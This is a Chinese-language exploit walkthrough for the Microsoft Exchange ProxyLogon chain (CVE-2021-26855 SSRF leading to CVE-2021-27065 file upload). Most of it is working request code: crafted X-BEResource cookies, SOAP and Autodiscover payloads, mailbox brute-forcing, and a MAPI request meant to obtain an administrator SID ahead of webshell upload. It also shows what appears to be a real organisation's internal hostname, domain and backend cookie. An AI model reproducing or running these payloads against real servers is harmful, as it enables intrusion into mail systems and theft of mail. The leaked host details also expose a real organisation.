MicrosoftExchange CVE-2021-26855 exp分析

漏洞简介

CVE-2021-26855 SSRF
CVE-2021-27065　任意文件上传 最终实现上传asp马

总的利用过程：获取SID->实现CVE-2021-27065文件上传

CVE-2021-26855　POC请求分析

OWA ssrf

GET /owa/auth/xxx.ico
Host:xxxx
Cookie:X-AnonResource-Backend=exp.xx.x/#~1;X-AnonResource=true;

EXP-1

获取FQDN

Post /owa/auth.owa
xxx
---
HTTP 200
..
X-FEServer:abcd

FQDN：(Fully Qualified Domain Name)全限定域名：同时带有主机名和域名的名称。（通过符号“.”）
例如：主机名是bigserver,域名是mycompany.com,那么FQDN就是bigserver.mycompany.com.

EXP-2

根据上面获取的FQDN，构造请求如下。其中X-BEResource字段,用其生成 BackEndServe实例，通过~符号切割BERsourceCookie字段，前半段作为FQDN，后半段为version。version的值应大于Server.E15MinVersion（1941962752）
这个请求只是进一步确认mail后缀，没什么用==

POST /ecp/xxxx.xx

headers = {
		'User-Agent': 'Hello-World',
		'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name),
		'Connection': 'close',
		'Content-Type': 'text/xml',
		'Accept-Encoding': 'gzip'
		}
		payload = """<?xml version="1.0" encoding="utf-8"?>
					<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
					xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
					xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
					xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
					    <soap:Body>
					        <m:GetFolder>
					            <m:FolderShape>
					                <t:BaseShape>Default</t:BaseShape>
					            </m:FolderShape>
					            <m:FolderIds>
					                <t:DistinguishedFolderId Id="inbox">
					                    <t:Mailbox>
					                        <t:EmailAddress>admin@domain.tld</t:EmailAddress>
					                    </t:Mailbox>
					                </t:DistinguishedFolderId>
					            </m:FolderIds>
					        </m:GetFolder>
					    </soap:Body>
					</soap:Envelope>
		"""

获取对应信息

Computer Name- X-DiagInfo: BHBJMBX02
Domain Name--- X-CalculatedBETarget: bhbjmbx02.bohailife.net //
Guest SID----- X-BackEndCookie:S-1-5-18=rJqNiZqNgZ2XnZWSnYfPzdGdkJeelpOWmZrRkZqLgc7Gy87GxsnHx8qBzc/NztLPzNLOyavPzcXLzMXLxg==

EXP-3

尝试爆破存在的用户邮箱

POST /ecp/xxxx.js
headers同上
				mailnum = '''<?xml version="1.0" encoding="utf-8"?>
					<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
					xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
					xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
					xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
					    <soap:Body>
					        <m:GetFolder>
					            <m:FolderShape>
					                <t:BaseShape>Default</t:BaseShape>
					            </m:FolderShape>
					            <m:FolderIds>
					                <t:DistinguishedFolderId Id="inbox">
					                    <t:Mailbox>
		//在这填充mail                        <t:EmailAddress>{mail}</t:EmailAddress>
					                    </t:Mailbox>
					                </t:DistinguishedFolderId>
					            </m:FolderIds>
					        </m:GetFolder>
					    </soap:Body>
					</soap:Envelope>
				'''

如存在此邮箱名返回
ErrorAccessDeniedAccess is denied. Check credentials and try again<m:ResponseCode>NoError</m:ResponseCode>

EXP-4

POC请求用于获取legacyDN，为EXP5获取SID提供参数。

POST /ecp/xx.js
				headers_for_audio = {
				"User-Agent": "Hello-World",
				"Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=server_name),
				"Connection": "close",
				"Content-Type": "text/xml"
				}

autodiscover_payload = '''
		<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
			 <Request>
			  <EMailAddress>{mail}</EMailAddress>
			  <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
			    </Request>
		</Autodiscover>
				'''

可以获取如下信息

display_name:小张
legacyDN:blahblah
server：xxx.xxx@xx.net
groupname:cccc

看了下其他分析，此处应该还有一处SSRF

EXP-5

headers={
		"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" %(server_name, server),
		"Content-Type": "application/mapi-http",
		"X-Requesttype": "Connect",
		"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
		"X-Clientapplication": "Outlook/15.0.4815.1002",
		"X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
		"User-Agent": "Hello-World"
}
mapi_body = legacyDN[0] + "x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00"

如果此处利用成功 应该返回用户SID